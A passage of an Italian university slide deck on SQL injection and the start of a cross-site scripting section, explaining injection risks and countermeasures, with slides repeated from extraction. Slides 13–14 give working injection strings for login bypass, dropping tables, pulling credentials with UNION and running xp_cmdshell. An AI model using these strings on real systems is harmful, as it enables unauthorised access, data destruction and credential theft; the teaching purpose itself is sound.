Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS)

Documenti analoghi
19. LA PROGRAMMAZIONE LATO SERVER

Corso di Sicurezza Informatica. Sicurezza del software. Ing. Gianluca Caminiti

TeamPortal. Servizi integrati con ambienti Gestionali

UNIVERSITÀ DI CATANIA Facoltà di Ingegneria Corso di laurea Specialistica in Ingegneria Informatica. Simona Ullo

Come funziona il WWW. Architettura client-server. Web: client-server. Il protocollo

Programmazione Web. Laboratorio 4: PHP e MySQL

Esempio Cookie Policy

TeamPortal. Infrastruttura

Obiettivi d esame PHP Developer Fundamentals on MySQL Environment

INFORMATIVA SUL DIRITTO ALLA PRIVACY PER LA CONSULTAZIONE DEL SITO WEB

Sophos Computer Security Scan Guida di avvio

penetration test (ipotesi di sviluppo)

Indice generale. Capitolo 3 Introduzione a PHP...43 Sintassi e istruzioni di base Variabili, operatori e commenti Array...

Lezione 1 Introduzione

LA GESTIONE DELLE VISITE CLIENTI VIA WEB

Esercizi di JavaScript

Navigazione automatica e rilevazione di errori in applicazioni web

Database e reti. Piero Gallo Pasquale Sirsi

Sicurezza delle applicazioni web: attacchi web

Siti interattivi e dinamici. in poche pagine

RELAZIONE PROGETTO DATABASE GESTIONE BIBLIOTECA PERSONALE

INFORMATIVA ESTESA SULL USO DEI COOKIE

McDonald's Wi-Fi Login System by BT Italia S.p.A. Multiple Vulnerabilities Report

SDD System design document

Access. P a r t e p r i m a

EUROCONSULTANCY-RE. Privacy Policy

DOCFINDERWEB SERVICE E CLIENT

In questa pagina si descrivono le modalità di gestione del sito in riferimento al trattamento dei dati personali degli utenti che lo consultano.

sito web sito Internet

Corso di Informatica. Prerequisiti. Modulo T3 B3 Programmazione lato server. Architettura client/server Conoscenze generali sui database

Reti di Telecomunicazione Lezione 7

Benvenuti. Luca Biffi, Supporto Tecnico Achab

Introduzione alla consultazione dei log tramite IceWarp Log Analyzer

Guida alla registrazione on-line di un DataLogger

Configurazione WAN (accesso internet)

[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection

MyFRITZ!, Dynamic DNS e Accesso Remoto

Individuare Web Shell nocive con PHP Shell

Manuale per la configurazione di AziendaSoft in rete

Informativa estesa sull utilizzo dei cookie

Guida ai requisiti di accesso e alla modalità operativa del sistema E.Civis ASP

Manuale di configurazione di Notebook, Netbook e altri dispositivi personali che accedono all Hot e di programmi per la comunicazione

Ente Ospedaliero Specializzato in Gastroenterologia "Saverio de Bellis" Istituto di Ricovero e Cura a Carattere Scientifico

Una metodologia di progettazione di applicazioni web centrate sui dati

INFORMATICA. Applicazioni WEB a tre livelli con approfondimento della loro manutenzione e memorizzazione dati e del DATABASE.

INTEGRATA OTTIMIZZAZIONE DEI PROCESSI AZIENDALI

Base di dati e sistemi informativi

DATABASE IN RETE E PROGRAMMAZIONE LATO SERVER

MANUALE MOODLE STUDENTI. Accesso al Materiale Didattico

Attacchi alle Applicazioni Web

Application Assessment Applicazione ARCO

Sommario. Introduzione Architettura Client-Server. Server Web Browser Web. Architettura a Due Livelli Architettura a Tre Livelli

Architettura del. Sintesi dei livelli di rete. Livelli di trasporto e inferiori (Livelli 1-4)

Al giorno d oggi, i sistemi per la gestione di database

COME CREARE E COLLEGARSI AD UN DATABASE MICROSOFT SQL SERVER O SUN MYSQL

ANNO SCOLASTICO: DISCIPLINA: INFORMATICA CLASSE: 5 SI INDIRIZZO: SISTEMI INFORMATIVI DOCENTI: TISO EMANUELE BARBARA SECCHI

Problematiche correlate alla sicurezza informatica nel commercio elettronico

INTEGRATA OTTIMIZZAZIONE DEI PROCESSI AZIENDALI

SITI-Reports. Progetto SITI. Manuale Utente. SITI-Reports. ABACO S.r.l.

Sicurezza Informatica: Tecniche di SQL INJECTION

Lezione n 1! Introduzione"

Il Web Server e il protocollo HTTP

Obiettivo dell esercitazione

Concessione del servizio di comunicazione elettronica certificata tra pubblica amministrazione e cittadino- PostaCertificat@

Software di gestione della stampante

WEBALIZER GUIDA ALLA LETTURA DELLE STATISTICHE

ITI M. FARADAY Programmazione modulare a.s

La sicurezza nelle comunicazioni Internet

Sicurezza nelle applicazioni multimediali: lezione 9, firewall. I firewall

GERARCHIE RICORSIVE - SQL SERVER 2008

TIMESHARK: Uno strumento per la visualizzazione e l analisi delle supertimelines. Relatore: Federico Grattirio

Dispensa di database Access

Windows XP Istruzioni rete wired per portatili v1.0

INFORMATIVA SUI COOKIE

Realizzazione di una chat su protocollo HTTP

Web Programming Specifiche dei progetti

PROGRAMMAZIONE MODULARE DI INFORMATICA CLASSE QUINTA - INDIRIZZO MERCURIO SEZIONE TECNICO

PSNET UC RUPAR PIEMONTE MANUALE OPERATIVO

Nelle reti di calcolatori, le porte (traduzione impropria del termine. port inglese, che in realtà significa porto) sono lo strumento

ESERCITAZIONE Semplice creazione di un sito Internet

1. RETI INFORMATICHE CORSO DI LAUREA IN INGEGNERIA INFORMATICA SPECIFICHE DI PROGETTO A.A. 2013/ Lato client

Tecnologie per il Web. Il web: Architettura HTTP HTTP. SSL: Secure Socket Layer

GUIDA ALLA REGISTRAZIONE DI UN DVR SU

NOTE LEGALI E PRIVACY

Impostare il browser per navigare in sicurezza Opzioni di protezione

Transcript:

UNIVERSITÀ DEGLI STUDI DI CATANIA Facoltà di Ingegneria Corso di laurea Specialistica in Ingegneria Informatica Tesina di Sicurezza nei Sistemi informativi Simona Ullo Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS) Docente: Prof. O.Tomarchio AA 2007/2008 Simona Ullo (UniCT) Attacchi alle applicazioni web 1 / 25

Sommario Parleremo di... 1 Introduzione La sicurezza nelle applicazioni web Vulnerabilità delle applicazioni web 2 SQL injection Caratteristiche generali Principali vulnerabilità e possibili attacchi Tecniche di protezione per SQL injection Tecniche di protezione per SQL injection Esempi di SQL injection 3 Cross-Site Scripting Caratteristiche generali Attacchi XSS Tecniche di protezione da attacchi XSS Esempi di attacchi XSS 4 Paros Proxy Cos è Paros? Un esempio di scansione con Paros Simona Ullo (UniCT) Attacchi alle applicazioni web 2 / 25

Introduzione La sicurezza nelle applicazioni web Introduzione Applicazioni web sicure? Simona Ullo (UniCT) Attacchi alle applicazioni web 3 / 25

Introduzione La sicurezza nelle applicazioni web Applicazioni web sicure? La situazione attuale Lo sviluppo crescente del web ha portato alla diffusione di contenuti web dinamici la cui sicurezza è spesso sottovalutata. Quando si gestiscono informazioni di carattere critico, trascurare l aspetto della sicurezza può provocare danni molto gravi. Chi utilizerebbe un applicazione web sapendo che le proprie info riservate sono a rischio? Il comune utente di internet non conosce i rischi, ma lo sviluppatore si! La soluzione: prevenire è meglio che curare. Simona Ullo (UniCT) Attacchi alle applicazioni web 4 / 25

Introduzione La sicurezza nelle applicazioni web Applicazioni web sicure? La situazione attuale Lo sviluppo crescente del web ha portato alla diffusione di contenuti web dinamici la cui sicurezza è spesso sottovalutata. Quando si gestiscono informazioni di carattere critico, trascurare l aspetto della sicurezza può provocare danni molto gravi. Chi utilizerebbe un applicazione web sapendo che le proprie info riservate sono a rischio? Il comune utente di internet non conosce i rischi, ma lo sviluppatore si! La soluzione: prevenire è meglio che curare. Simona Ullo (UniCT) Attacchi alle applicazioni web 4 / 25

Introduzione La sicurezza nelle applicazioni web Applicazioni web sicure? La situazione attuale Lo sviluppo crescente del web ha portato alla diffusione di contenuti web dinamici la cui sicurezza è spesso sottovalutata. Quando si gestiscono informazioni di carattere critico, trascurare l aspetto della sicurezza può provocare danni molto gravi. Chi utilizerebbe un applicazione web sapendo che le proprie info riservate sono a rischio? Il comune utente di internet non conosce i rischi, ma lo sviluppatore si! La soluzione: prevenire è meglio che curare. Simona Ullo (UniCT) Attacchi alle applicazioni web 4 / 25

Introduzione La sicurezza nelle applicazioni web Applicazioni web sicure? La situazione attuale Lo sviluppo crescente del web ha portato alla diffusione di contenuti web dinamici la cui sicurezza è spesso sottovalutata. Quando si gestiscono informazioni di carattere critico, trascurare l aspetto della sicurezza può provocare danni molto gravi. Chi utilizerebbe un applicazione web sapendo che le proprie info riservate sono a rischio? Il comune utente di internet non conosce i rischi, ma lo sviluppatore si! La soluzione: prevenire è meglio che curare. Simona Ullo (UniCT) Attacchi alle applicazioni web 4 / 25

Introduzione La sicurezza nelle applicazioni web Applicazioni web sicure? La situazione attuale Lo sviluppo crescente del web ha portato alla diffusione di contenuti web dinamici la cui sicurezza è spesso sottovalutata. Quando si gestiscono informazioni di carattere critico, trascurare l aspetto della sicurezza può provocare danni molto gravi. Chi utilizerebbe un applicazione web sapendo che le proprie info riservate sono a rischio? Il comune utente di internet non conosce i rischi, ma lo sviluppatore si! La soluzione: prevenire è meglio che curare. Simona Ullo (UniCT) Attacchi alle applicazioni web 4 / 25

Introduzione Vulnerabilità delle applicazioni web Vulnerabilità Applicazioni web vulnerabili Spesso i siti web si definiscono sicuri in quanto impiegano la tecnologia SSL... sbagliato! Esistono molte altre vulnerabilità sfruttabili da un attaccante che non hanno a che fare con SSL... nel sistema di autenticazione degli utenti...... nel sistema di controllo degli accessi...... e poi nell applicazione in sé stessa: code injection. Simona Ullo (UniCT) Attacchi alle applicazioni web 5 / 25

Introduzione Vulnerabilità delle applicazioni web Vulnerabilità Applicazioni web vulnerabili Spesso i siti web si definiscono sicuri in quanto impiegano la tecnologia SSL... sbagliato! Esistono molte altre vulnerabilità sfruttabili da un attaccante che non hanno a che fare con SSL... nel sistema di autenticazione degli utenti...... nel sistema di controllo degli accessi...... e poi nell applicazione in sé stessa: code injection. Simona Ullo (UniCT) Attacchi alle applicazioni web 5 / 25

Introduzione Vulnerabilità delle applicazioni web Vulnerabilità Applicazioni web vulnerabili Spesso i siti web si definiscono sicuri in quanto impiegano la tecnologia SSL... sbagliato! Esistono molte altre vulnerabilità sfruttabili da un attaccante che non hanno a che fare con SSL... nel sistema di autenticazione degli utenti...... nel sistema di controllo degli accessi...... e poi nell applicazione in sé stessa: code injection. Simona Ullo (UniCT) Attacchi alle applicazioni web 5 / 25

Introduzione Vulnerabilità delle applicazioni web Vulnerabilità Applicazioni web vulnerabili Spesso i siti web si definiscono sicuri in quanto impiegano la tecnologia SSL... sbagliato! Esistono molte altre vulnerabilità sfruttabili da un attaccante che non hanno a che fare con SSL... nel sistema di autenticazione degli utenti...... nel sistema di controllo degli accessi...... e poi nell applicazione in sé stessa: code injection. Simona Ullo (UniCT) Attacchi alle applicazioni web 5 / 25

Introduzione Vulnerabilità delle applicazioni web Vulnerabilità Applicazioni web vulnerabili Spesso i siti web si definiscono sicuri in quanto impiegano la tecnologia SSL... sbagliato! Esistono molte altre vulnerabilità sfruttabili da un attaccante che non hanno a che fare con SSL... nel sistema di autenticazione degli utenti...... nel sistema di controllo degli accessi...... e poi nell applicazione in sé stessa: code injection. Simona Ullo (UniCT) Attacchi alle applicazioni web 5 / 25

Introduzione Vulnerabilità delle applicazioni web Introduzione La code injection Simona Ullo (UniCT) Attacchi alle applicazioni web 6 / 25

Introduzione Vulnerabilità delle applicazioni web Code injection La code injection Inserimento di codice malevolo per interferire nel funzionamento di un applicazione web. Il problema: l utente si trova al di fuori del raggio d azione dell applicazione, sono le informazioni che inserisce a determinarne il funzionamento, quindi può inserire informazioni arbitrarie a danno del sistema e può interferire in qualsiasi flusso di dati scambiati tra client e server. Possibili bersagli: parametri dell URL, cookies di sessione, query SQL, form HTML. Obiettivo: dall accesso a dati riservati al possesso del server. Simona Ullo (UniCT) Attacchi alle applicazioni web 7 / 25

Introduzione Vulnerabilità delle applicazioni web Code injection La code injection Inserimento di codice malevolo per interferire nel funzionamento di un applicazione web. Il problema: l utente si trova al di fuori del raggio d azione dell applicazione, sono le informazioni che inserisce a determinarne il funzionamento, quindi può inserire informazioni arbitrarie a danno del sistema e può interferire in qualsiasi flusso di dati scambiati tra client e server. Possibili bersagli: parametri dell URL, cookies di sessione, query SQL, form HTML. Obiettivo: dall accesso a dati riservati al possesso del server. Simona Ullo (UniCT) Attacchi alle applicazioni web 7 / 25

Introduzione Vulnerabilità delle applicazioni web Code injection La code injection Inserimento di codice malevolo per interferire nel funzionamento di un applicazione web. Il problema: l utente si trova al di fuori del raggio d azione dell applicazione, sono le informazioni che inserisce a determinarne il funzionamento, quindi può inserire informazioni arbitrarie a danno del sistema e può interferire in qualsiasi flusso di dati scambiati tra client e server. Possibili bersagli: parametri dell URL, cookies di sessione, query SQL, form HTML. Obiettivo: dall accesso a dati riservati al possesso del server. Simona Ullo (UniCT) Attacchi alle applicazioni web 7 / 25

Introduzione Vulnerabilità delle applicazioni web Code injection La code injection Inserimento di codice malevolo per interferire nel funzionamento di un applicazione web. Il problema: l utente si trova al di fuori del raggio d azione dell applicazione, sono le informazioni che inserisce a determinarne il funzionamento, quindi può inserire informazioni arbitrarie a danno del sistema e può interferire in qualsiasi flusso di dati scambiati tra client e server. Possibili bersagli: parametri dell URL, cookies di sessione, query SQL, form HTML. Obiettivo: dall accesso a dati riservati al possesso del server. Simona Ullo (UniCT) Attacchi alle applicazioni web 7 / 25

SQL injection Caratteristiche generali Attacchi alle applicazioni web SQL injection Simona Ullo (UniCT) Attacchi alle applicazioni web 8 / 25

SQL injection Caratteristiche generali SQL injection: caratteristiche generali La SQL injection è... Una tecnica di attacco che sfrutta le vulnerabilità dei siti web che si appoggiano a database SQL. Consiste nell alterazione delle query SQL mediante la manipolazione delle info fornite in ingresso all applicazione. È un attacco cross-platform, indipendente dal DBMS. I bersagli... Tutte le applicazioni web che sfruttano pagine dinamiche, con parametri trasmessi tramite URL. Le pagine web contenenti form HTML per l inserimento dei dati (in particolare form di ricerca). Test di vulnerabilità: generando un messaggio d errore del server o con blind SQL injection. Obiettivo: verificare che non vi sia alcun filtraggio dell input. Simona Ullo (UniCT) Attacchi alle applicazioni web 9 / 25

SQL injection Caratteristiche generali SQL injection: caratteristiche generali La SQL injection è... Una tecnica di attacco che sfrutta le vulnerabilità dei siti web che si appoggiano a database SQL. Consiste nell alterazione delle query SQL mediante la manipolazione delle info fornite in ingresso all applicazione. È un attacco cross-platform, indipendente dal DBMS. I bersagli... Tutte le applicazioni web che sfruttano pagine dinamiche, con parametri trasmessi tramite URL. Le pagine web contenenti form HTML per l inserimento dei dati (in particolare form di ricerca). Test di vulnerabilità: generando un messaggio d errore del server o con blind SQL injection. Obiettivo: verificare che non vi sia alcun filtraggio dell input. Simona Ullo (UniCT) Attacchi alle applicazioni web 9 / 25

SQL injection Caratteristiche generali SQL injection: caratteristiche generali La SQL injection è... Una tecnica di attacco che sfrutta le vulnerabilità dei siti web che si appoggiano a database SQL. Consiste nell alterazione delle query SQL mediante la manipolazione delle info fornite in ingresso all applicazione. È un attacco cross-platform, indipendente dal DBMS. I bersagli... Tutte le applicazioni web che sfruttano pagine dinamiche, con parametri trasmessi tramite URL. Le pagine web contenenti form HTML per l inserimento dei dati (in particolare form di ricerca). Test di vulnerabilità: generando un messaggio d errore del server o con blind SQL injection. Obiettivo: verificare che non vi sia alcun filtraggio dell input. Simona Ullo (UniCT) Attacchi alle applicazioni web 9 / 25

SQL injection Caratteristiche generali SQL injection: caratteristiche generali La SQL injection è... Una tecnica di attacco che sfrutta le vulnerabilità dei siti web che si appoggiano a database SQL. Consiste nell alterazione delle query SQL mediante la manipolazione delle info fornite in ingresso all applicazione. È un attacco cross-platform, indipendente dal DBMS. I bersagli... Tutte le applicazioni web che sfruttano pagine dinamiche, con parametri trasmessi tramite URL. Le pagine web contenenti form HTML per l inserimento dei dati (in particolare form di ricerca). Test di vulnerabilità: generando un messaggio d errore del server o con blind SQL injection. Obiettivo: verificare che non vi sia alcun filtraggio dell input. Simona Ullo (UniCT) Attacchi alle applicazioni web 9 / 25

SQL injection Caratteristiche generali SQL injection: caratteristiche generali La SQL injection è... Una tecnica di attacco che sfrutta le vulnerabilità dei siti web che si appoggiano a database SQL. Consiste nell alterazione delle query SQL mediante la manipolazione delle info fornite in ingresso all applicazione. È un attacco cross-platform, indipendente dal DBMS. I bersagli... Tutte le applicazioni web che sfruttano pagine dinamiche, con parametri trasmessi tramite URL. Le pagine web contenenti form HTML per l inserimento dei dati (in particolare form di ricerca). Test di vulnerabilità: generando un messaggio d errore del server o con blind SQL injection. Obiettivo: verificare che non vi sia alcun filtraggio dell input. Simona Ullo (UniCT) Attacchi alle applicazioni web 9 / 25

SQL injection Caratteristiche generali SQL injection: caratteristiche generali La SQL injection è... Una tecnica di attacco che sfrutta le vulnerabilità dei siti web che si appoggiano a database SQL. Consiste nell alterazione delle query SQL mediante la manipolazione delle info fornite in ingresso all applicazione. È un attacco cross-platform, indipendente dal DBMS. I bersagli... Tutte le applicazioni web che sfruttano pagine dinamiche, con parametri trasmessi tramite URL. Le pagine web contenenti form HTML per l inserimento dei dati (in particolare form di ricerca). Test di vulnerabilità: generando un messaggio d errore del server o con blind SQL injection. Obiettivo: verificare che non vi sia alcun filtraggio dell input. Simona Ullo (UniCT) Attacchi alle applicazioni web 9 / 25

SQL injection Caratteristiche generali SQL injection: caratteristiche generali La SQL injection è... Una tecnica di attacco che sfrutta le vulnerabilità dei siti web che si appoggiano a database SQL. Consiste nell alterazione delle query SQL mediante la manipolazione delle info fornite in ingresso all applicazione. È un attacco cross-platform, indipendente dal DBMS. I bersagli... Tutte le applicazioni web che sfruttano pagine dinamiche, con parametri trasmessi tramite URL. Le pagine web contenenti form HTML per l inserimento dei dati (in particolare form di ricerca). Test di vulnerabilità: generando un messaggio d errore del server o con blind SQL injection. Obiettivo: verificare che non vi sia alcun filtraggio dell input. Simona Ullo (UniCT) Attacchi alle applicazioni web 9 / 25

SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

SQL injection Principali vulnerabilità e possibili attacchi Le vulnerabilità alla SQL injection Server SQL vulnerabili se: non effettuano alcun filtraggio dei dati in ingresso, o i filtri sono inadeguati; Possibili attacchi: autenticazione non autorizzata accesso/modifica/cancellazione delle informazioni accesso alla struttura del database utilizzo di una stored procedure è assente un adeguato controllo dei tipi; sono mostrati i messaggi d errore ODBC; contengono vulnerabilità nella loro stessa implementazione (mysql real escape string()). Simona Ullo (UniCT) Attacchi alle applicazioni web 10 / 25

SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Effettuare un opportuno input sanitizing: escaping dei caratteri dannosi; utilizzo di regular expressions; controllo e casting sui tipi di dato. Configurare correttamente il server: disabilitazione di alcune stored procedures; no alla connessione con privilegi di root; no ai privilegi di amministratore sul sistema; rimozione account inutilizzati e utilizzo di password adeguatamente sicure; messaggi d errore generici; Simona Ullo (UniCT) Attacchi alle applicazioni web 11 / 25

SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Ricordare che: IDS, firewall e protocolli come SSL non forniscono alcuna protezione dalla SQL injection! Utilizzare tool per rilevare automaticamente eventuali vulnerabilità. Simona Ullo (UniCT) Attacchi alle applicazioni web 12 / 25

SQL injection Tecniche di protezione per SQL injection Le contromisure Per evitare attacchi di SQL injection... Ricordare che: IDS, firewall e protocolli come SSL non forniscono alcuna protezione dalla SQL injection! Utilizzare tool per rilevare automaticamente eventuali vulnerabilità. Simona Ullo (UniCT) Attacchi alle applicazioni web 12 / 25

SQL injection Esempi di SQL injection Qualche esempio di attacco Test di vulnerabilità: http://www.la-mia-rivista.com/edizione.php?id=7 AND 1=1 Login non autorizzato: SELECT * FROM utenti WHERE nome = a OR b = b AND password = a OR b = b Cancellazione tabelle: SELECT * FROM utenti WHERE nome = a ; DROP TABLE utenti -- Operatore UNION: SELECT titolo, descrizione FROM libri WHERE autore = Smith UNION SELECT username, psw FROM utenti Simona Ullo (UniCT) Attacchi alle applicazioni web 13 / 25

SQL injection Esempi di SQL injection Qualche esempio di attacco Test di vulnerabilità: http://www.la-mia-rivista.com/edizione.php?id=7 AND 1=1 Login non autorizzato: SELECT * FROM utenti WHERE nome = a OR b = b AND password = a OR b = b Cancellazione tabelle: SELECT * FROM utenti WHERE nome = a ; DROP TABLE utenti -- Operatore UNION: SELECT titolo, descrizione FROM libri WHERE autore = Smith UNION SELECT username, psw FROM utenti Simona Ullo (UniCT) Attacchi alle applicazioni web 13 / 25

SQL injection Esempi di SQL injection Qualche esempio di attacco Test di vulnerabilità: http://www.la-mia-rivista.com/edizione.php?id=7 AND 1=1 Login non autorizzato: SELECT * FROM utenti WHERE nome = a OR b = b AND password = a OR b = b Cancellazione tabelle: SELECT * FROM utenti WHERE nome = a ; DROP TABLE utenti -- Operatore UNION: SELECT titolo, descrizione FROM libri WHERE autore = Smith UNION SELECT username, psw FROM utenti Simona Ullo (UniCT) Attacchi alle applicazioni web 13 / 25

SQL injection Esempi di SQL injection Qualche esempio di attacco Test di vulnerabilità: http://www.la-mia-rivista.com/edizione.php?id=7 AND 1=1 Login non autorizzato: SELECT * FROM utenti WHERE nome = a OR b = b AND password = a OR b = b Cancellazione tabelle: SELECT * FROM utenti WHERE nome = a ; DROP TABLE utenti -- Operatore UNION: SELECT titolo, descrizione FROM libri WHERE autore = Smith UNION SELECT username, psw FROM utenti Simona Ullo (UniCT) Attacchi alle applicazioni web 13 / 25

SQL injection Esempi di SQL injection Qualche esempio di attacco Uso di stored procedure: ; exec master..xp cmdshell notepad.exe -- Uso dei messaggi ODBC: Ottenuto iniettando semplicemente la clausola having 1=1 Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server] Column utenti.id is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Simona Ullo (UniCT) Attacchi alle applicazioni web 14 / 25

SQL injection Esempi di SQL injection Qualche esempio di attacco Uso di stored procedure: ; exec master..xp cmdshell notepad.exe -- Uso dei messaggi ODBC: Ottenuto iniettando semplicemente la clausola having 1=1 Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server] Column utenti.id is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Simona Ullo (UniCT) Attacchi alle applicazioni web 14 / 25

Cross-Site Scripting Caratteristiche generali Attacchi alle applicazioni web Cross-site Scripting Simona Ullo (UniCT) Attacchi alle applicazioni web 15 / 25

